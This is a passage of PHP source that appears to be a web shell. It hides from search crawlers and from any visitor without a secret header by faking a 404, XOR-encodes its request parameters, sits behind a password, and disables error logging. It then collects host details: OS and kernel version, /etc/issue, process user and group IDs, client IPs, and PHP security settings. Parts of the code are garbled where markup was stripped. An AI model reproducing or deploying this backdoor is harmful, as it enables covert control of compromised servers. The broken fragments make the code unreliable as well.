true, 'THEME' => 'crimson_editor', 'MODE' => 'php', 'URL' => 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.37.0/ace.js'); $GLOBALS['DEBUG'] = (isset($GLOBALS['DEBUG']) ? $GLOBALS['DEBUG'] : false); filterClient(); decodeRequest(); checkAuth(); function checkAuth(){ if(!$GLOBALS['PASSHASH']) return setEncKey(); $loginWithPass = (isset($_REQUEST['pass']) && hash($GLOBALS['HASHTYPE'], $_REQUEST['pass']) === $GLOBALS['PASSHASH']); $encKeyWithPass = ($GLOBALS['ENCKEY'] === genEncKey($GLOBALS['PASSHASH'])); if($loginWithPass) setEncKey($GLOBALS['PASSHASH']); elseif($encKeyWithPass) setEncKey(); else loginFormOut(); } function getEncKey(){ $len = $GLOBALS['PRELEN']; foreach($_REQUEST as $k => &$v){ $pref = strrev(substr($k, 0, $len)); $post = substr($k, $len, $len); if($pref === $post){ $eKey = $v; unset($_REQUEST[$k]); $GLOBALS['ENCKEY'] = base64_decode($eKey); return $GLOBALS['ENCKEY']; } } return false; } function genEncKey($str){ return base64_encode(hash($GLOBALS['HASHTYPE'], ($GLOBALS['REMOTE_ADDR'] ? $_SERVER['REMOTE_ADDR'] : '').$str.__FILE__)); } function setEncKey($pass = ''){ if(!$pass && $GLOBALS['ENCKEY']) return $GLOBALS['ENCKEY']; $eKey = genEncKey($pass); $GLOBALS['ENCKEY'] = $eKey; return $eKey; } function mergeRequestVars(){ $vars = array('_FILES','_COOKIE','_REQUEST'); foreach($vars as $var) if(isset($GLOBALS[$var])) foreach($GLOBALS[$var] as $k => &$v) $_REQUEST[$k] = &$GLOBALS[$var][$k]; } function decodeRequest(){ mergeRequestVars(); $GLOBALS['PRELEN'] = getPreLen(); if(!$GLOBALS['ENCKEY'] = getEncKey()) $GLOBALS['ENCKEY'] = setEncKey(); $_REQUEST = decodeInput($_REQUEST); } function getPreLen(){ return (substr(array_sum(str_split(hash($GLOBALS['HASHTYPE'], __FILE__))), -1) + 5); } function filterClient(){ $secretHeader = isset($_SERVER['HTTP_'.$GLOBALS['SECHEAD']]); $crawlerBot = preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT']); if($crawlerBot || !$secretHeader) exit(header('HTTP/1.1 404 Not Found')); } function loginFormOut(){ $html = '
'.paramsHandlerJS().''; exit(makeOut($html)); } function scriptInit(){ if(!isset($GLOBALS['DEBUG'])) return; define('D', $GLOBALS['DEBUG']); set_time_limit(D ? 15 : 0); error_reporting(D ? E_ALL : 0); ini_set('display_errors', D ? 'On' : 'Off'); ini_set('max_execution_time', D ? 15 : 0); ini_set('error_log', NULL); ini_set('log_errors', 0); } function decodeInput(&$arr){ $str = ''; foreach($arr as $k => $v){ $key = getName($k); if(!strlen($key)) continue; $str .= $key.'='.urlencode(getValue($v)).'&'; unset($arr[$k]); } parse_str($str, $dec); return array_merge($arr, $dec); } function xorStr($str, $decode = false) { $key = $GLOBALS['ENCKEY']; $key_len = strlen($key); $str = (!$decode ? rawurlencode($str) : $str); for($i = 0; $i < strlen($str); $i++) $str[$i] = $str[$i] ^ $key[$i % $key_len]; $str = ($decode ? rawurldecode($str) : $str); return $str; } function ascii2hex($ascii) { $hex = ''; for ($i = 0; $i < strlen($ascii); $i++) { $byte = strtoupper(dechex(ord($ascii[$i]))); $byte = str_repeat('0', 2 - strlen($byte)).$byte; $hex.=$byte; } return $hex; } function hex2ascii($hex){ $ascii=''; $hex=str_replace(" ", "", $hex); for($i=0; $i' : '[{"','Address', $h ? ' | ' : '":'; $a = array(); foreach(array('HTTP_HOST','SERVER_ADDR','SERVER_NAME') as $v) if(isset($_SERVER[$v])){ $v = trim($_SERVER[$v]); if($v!==''&&!in_array($v,$a))$a[]=$v; } if($v = php_uname('n')){ $v = trim($v); if($v !== '' && !in_array($v,$a)) $a[] = $v; } if(PHP_VERSION>='5.3' && ($v = gethostname())){ $v = trim($v); if($v !== '' && !in_array($v,$a)) $a[] = $v; } $r=''; foreach($a as $k => $v){ if($k > 0) $r.=' / '; $r .= $v; if($i=gethostbynamel($v)){ $b = FALSE; foreach($i as $v) if(!in_array($v, $a)){ $a[] = $v; if($b) $r .= ', '; else{$b = TRUE; $r .= ' (';} $r .= $v; } if($b) $r .= ')'; } elseif(($i = gethostbyname($v)) && !in_array($v, $a)){ $a[] = $v; $r .= ' ('.$v.')'; } } if($h) echo escHTML($r); else jsonEcho($r); echo $h ? ' |
---|---|
' : ',"','System', $h ? ' | ' : '":'; $r = ''; if(($v = trim(php_uname('s').' '.php_uname('r').' '.php_uname('v').' '.php_uname('m'))) !== '') $r = $v; elseif(NIX && ($v = getFile('/proc/version'))) $r = $v; else{ if(defined('PHP_OS')) $r = PHP_OS; else $r = NIX ? '*NIX' : 'Windows'; if(!NIX){ $a = array(); foreach(array('PHP_WINDOWS_VERSION_MAJOR','PHP_WINDOWS_VERSION_MINOR','PHP_WINDOWS_VERSION_BUILD') as $v) if(defined($v)) $a[] = constant($v); if($a) $r .=' '.implode('.', $a); if(defined('PHP_WINDOWS_VERSION_SP_MAJOR') && PHP_WINDOWS_VERSION_SP_MAJOR > 0){ $r .= ' SP'.PHP_WINDOWS_VERSION_SP_MAJOR; if(defined('PHP_WINDOWS_VERSION_SP_MINOR') && PHP_WINDOWS_VERSION_SP_MINOR > 0) $r .= '.'.PHP_WINDOWS_VERSION_SP_MINOR; } } } if(NIX && (($v = trim(getFile('/etc/issue.net'))) !== '' || ($v = trim(getFile('/etc/issue'))) !== '')) $r .= ' ('.$v.')'; if($h) echo escHTML($r); else jsonEcho($r); if(!empty($_SERVER['SERVER_SOFTWARE'])){ echo $h ?' |
' : ',"','Server', $h ? ' | ':'":'; if($h) echo escHTML($_SERVER['SERVER_SOFTWARE']); else jsonEcho($_SERVER['SERVER_SOFTWARE']); } echo $h ? ' |
' : ',"','Software', $h ? ' | ' : '":'; $r = 'PHP/'.PHP_VERSION; if(defined('SUHOSIN_PATCH_VERSION')) $r .= ' with Suhosin patch/'.SUHOSIN_PATCH_VERSION; $r .= '; '; if(defined('CURLE_OK')){ $r .= 'cURL'; $v = curl_version(); if(isset($v['version'])) $r.='/'.$v['version']; $r.='; '; } if($v = phpversion('Suhosin')) $r.=' Suhosin/'.$v; if($h) echo escHTML($r); else jsonEcho($r); echo $h ? ' |
' : ',"','User', $h ? ' | ' : '":'; $r=''; $a = array(); if(NIX){ if(defined('POSIX_F_OK') || function_exists('posix_geteuid')){ if(is_int($v = posix_geteuid())) $r .= 'euid='.$v.'('.uName($v).'); '; if(is_int($v = posix_getegid())) $r .= 'egid='.$v.'('.gName($v).'); '; } if(is_int($v = getmyuid())) $r .= 'ouid='.$v.'('.uName($v).'); '; if(is_int($v = getmygid())) $r .= 'ogid='.$v.'('.gName($v).'); '; } $b = FALSE; foreach(array('REMOTE_ADDR','HTTP_X_REAL_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR') as $i){ if(!empty($_SERVER[$i])){ if($b) $r.= ', '; else{ $b = TRUE; $r .= 'IP: '; } $r .= $_SERVER[$i]; } } if($b) $r .= ';'; if($h) echo escHTML($r); else jsonEcho($r); echo $h ? ' |
':'},{"','Safe mode', $h ? ' | ' : '":'; if(isINI('safe_mode')){ $v = isINI('safe_mode_gid') ? 'GID':'UID'; echo $h ? $v : '"'.$v.'"'; foreach(array('Include dir' => 'safe_mode_include_dir','Exec dir' => 'safe_mode_exec_dir', 'Vars prefixes' => 'safe_mode_allowed_env_vars', 'Protected vars' => 'safe_mode_protected_env_vars') as $k => $v){ if(!getINI($v, $v)) $v = '-'; echo $h ? ' |
' : ',"', $k, $h?' | ' : '":'; if($h) echo escHTML($v); else jsonEcho($v); } } else echo $h ? '-' : '"-"'; echo $h ? ' |
' : ',"', $k, $h ? ' | ' : '":'; if($h) echo escHTML($v),' |
' : '},{"', 'Suhosin mode', $h ? ' | ' : '":"', $v ? 'simulation' : 'break', $h ? ' |
' : '","','Allow rewrite', $h ? ' | ' : '":'; if(!getINI('suhosin.perdir', $v) || !$v) $v = '-'; if($h) echo escHTML($v),' |
' : ',"', $k, $h ? ' | ' : '":'; if($h) echo escHTML($v),' |
' : ',"', 'Disabled', $h ?' | ' : '":"', $i ? implode(', ', $i) : '-', $h ? ' |
' : ',"','Log file', $h ? ' | ' : '":'; if($h) echo escHTML($v),' |